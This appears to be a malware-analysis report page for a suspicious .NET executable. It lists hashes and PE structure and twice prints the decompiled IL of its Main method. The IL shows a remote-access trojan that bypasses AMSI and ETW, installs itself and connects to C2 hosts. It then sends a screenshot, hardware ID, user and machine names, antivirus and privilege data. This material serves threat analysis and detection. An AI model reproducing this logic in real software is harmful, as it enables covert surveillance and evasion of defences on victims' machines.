Suspicious
Suspect

1035735f7d18175e23e1181434648494

Share on LinkedIn
Print
PE Executable
MD5: 1035735f7d18175e23e1181434648494
Size: 192.51 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 1035735f7d18175e23e1181434648494
Sha1 ab3c478b0481fd4d9b4cc228312a6ba89bae9e94
Sha256 c5ecdd414e5a4a9ce1dac9fd9bdac433de80b66de3d0aff47abe784706fbb02a
Sha384 cf2837f7b4d93d98d3a553aa92463f322c20c447dfc42c17f8ee9056863fee674bcf03d191ced5ffa083f7c1d16f34f5
Sha512 1874aabd8bba168ab1fb97319a9cac53301f0d409580dce76e9158d73f8b04672f99d7a8f7de9543b6b883c33b95779e550852c626995c23836b55b290bdd87f
SSDeep 3072:5q4IN0wVxpaNvbaeO9K3S+0LRX0pcU622wca+He6pyXNlNtA7uDgObnNQUKn:grpaN2rA3SRLRXg15ca+H9ONl3A72nb
TLSH 3814E04473C88A14D97E06FD8363B324933492071897EB0E1ECA91DA3F76BD5DA09DE5
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1035735f7d18175e23e1181434648494
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
wr4uc0hg9p9rsa9salyxbemic
90j3tgy1qfaynsxgblw7y
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Client
Full Name
Client
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Client
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Client
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
351
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr ]sf%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr vf]7
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr 8],hbf%`t>U6
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr !&zz%t]
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr -D-
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
Module Name
Client
Full Name
Client
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Client
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Client
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
351
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr ]sf%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr vf]7
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr 8],hbf%`t>U6
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr !&zz%t]
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr -D-
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙